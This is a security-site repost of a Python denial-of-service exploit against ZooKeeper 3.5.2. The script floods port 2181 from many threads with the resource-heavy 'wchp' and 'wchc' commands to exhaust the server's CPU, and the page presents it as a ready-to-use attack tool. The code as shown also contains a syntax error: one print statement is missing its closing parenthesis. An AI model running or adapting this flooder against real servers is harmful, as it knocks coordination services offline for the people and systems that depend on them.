首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Zookeeper 3.5.2 - Denial of Service Exploit
来源:bdennis@mail.hodges.edu 作者:Dennis 发布时间:2017-02-08  
#!/usr/bin/python
   
# Exploit Title: Zookeeper Client Denial Of Service (Port 2181)
# Date: 2/7/2017
# Exploit Author: Brandon Dennis
# Email: bdennis@mail.hodges.edu
# Zookeeper Version: 3.5.2
# Tested on: Windows 2008 R2, Windows 2012 R2 x64 & x86
# Description: The wchp command to the ZK port 2181 will gather open internal files by each session/watcher and organize them for the requesting client. 
#   This command is CPU intensive and will cause a denial of service to the port as well as spike the CPU of the remote machine to 90-100% consistently before any other traffic. 
#   The average amount of threads uses was 10000 for testing. This should work on all 3.x+ versions of Zookeeper.
#   This should effect Linux x86 & x64 as well
   
   
   
import time
import os
import threading
import sys
import socket
   
numOfThreads = 1
exitStr = "n"
stop_threads = False
threads = []
ipAddress = "192.168.1.5" #Change this
port = 2181
   
def sendCommand(ipAddress, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ipAddress, port))
        s.send("wchp\r".encode("utf-8"))
        s.recv(1024)
        s.send("wchc\r".encode("utf-8"))
        s.close()
    except:
        pass
   
       
def runCMD(id, stop, ipAddress, port):
    while True:
        sendCommand(ipAddress, port)
        if stop():
            break
    return
       
def welcomeBanner():
    banner = """ _______   __  _____               _               
|___  | | / / /  __ \             | |              
   / /| |/ /  | /  \/_ __ __ _ ___| |__   ___ _ __ 
  / / |    \  | |   | '__/ _` / __| '_ \ / _ | '__|
./ /__| |\  \ | \__/| | | (_| \__ | | | |  __| |   
\_____\_| \_/  \____|_|  \__,_|___|_| |_|\___|_|   
                                                      
                 By: Brandon Dennis 
         Email: bdennis@mail.hodges.edu
                 """
    print(banner)
       
   
welcomeBanner()
numOfThreads = int(input("How many threads do you want to use: "))
print ("Startin Up Threads..."
for i in range(numOfThreads):
    t = threading.Thread(target=runCMD, args=(id, lambda: stop_threads, ipAddress, port))
    threads.append(t)
    t.start()
print("Threads are now started...")
       
   
while exitStr != "y":
    inpt = input("Do you wish to stop threads(y): ")
       
    if inpt == "y":
        exitStr = "y"
   
print("\nStopping Threads...")
stop_threads = True    
for thread in threads:
    thread.join()
           
print("Threads are now stopped...")
sys.exit(0);

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OpenBSD HTTPd < 6.0 - Memory E
·Zoom Player 12.7 / 13 Buffer O
·IVPN Client 2.6.1 - Privilege
·GNU / Bash v4.4 autocompletion
·Debian 9 ntfs-3g - Privilege E
·Microsoft Office Word Maliciou
·Netwave IP Camera - Password D
·Apache OpenOffice Text Documen
·CUPS < 2.0.3 - Remote Command
·HP Smart Storage Administrator
·Cisco WebEx Chrome Extension R
·Tor Browser 6.0.5 remote Denia
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved